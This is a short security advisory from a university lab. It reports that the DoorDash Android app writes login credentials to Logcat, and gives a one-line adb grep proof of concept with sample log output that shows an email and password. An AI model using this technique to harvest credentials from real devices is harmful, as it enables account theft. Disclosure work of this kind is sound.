Security Problem in DoorDash Android App

# Exploit Title: DoorDash Android App - Username/Password Logging

# Application: DoorDash

# Version: 11.0.2 ~ 11.5.2 (all versions we tested have this problem)

# Software Link: https://play.google.com/store/apps/details?id=com.dd.doordash

# Company: DoorDash

# Installs: 10,000,000+  (#1 in food category in Google Play)

# Impact: Looking at the output of Logcat, hackers can get username and password of DoorDash

# Category: Mobile Apps

# Tested on: Android 9

 

---Description---

Usernames and passwords are stored in the log during the authentication. So, hackers can obtain user password/ID of DoorDash, simply looking at Logcat. Especially, in old Android versions prior to Android Jelly Bean, any app installed can access Logcat without any permission.

 

---Vendor feedback---

We have reported this issue, and they will fix it soon.

 

---PoC---

1. Try to log in DoorDash Android app, Android app.

  - Opening Login UI

  - Enter credentials. Fake information is enough for reproducing.

 

2. Search password in Logcat

$ adb logcat | grep 'OkHttp'

 

10-07 16:09:34.498 10066 10201 D OkHttp  : --> POST https://api.doordash.com/v2/auth/token/

10-07 16:09:34.498 10066 10201 D OkHttp  : Content-Type: application/json; charset=UTF-8

10-07 16:09:34.498 10066 10201 D OkHttp  : Content-Length: 109

10-07 16:09:34.498 10066 10201 D OkHttp  : X-NewRelic-ID: XAUEWF5SGwEJUFhUDwcA

10-07 16:09:34.498 10066 10201 D OkHttp  : {"client_id":"6086ebcbfb859ee3","email":"jaeho.lee@rice.edu","is_manual":true,"password":"MyPasswordIsHere!"}

10-07 16:09:34.498 10066 10201 D OkHttp  : --> END POST (109-byte body)

 

 

---Reporter---

Jaeho Lee(Jaeho.Lee@rice.edu)

Rice Computer Security Lab

Rice University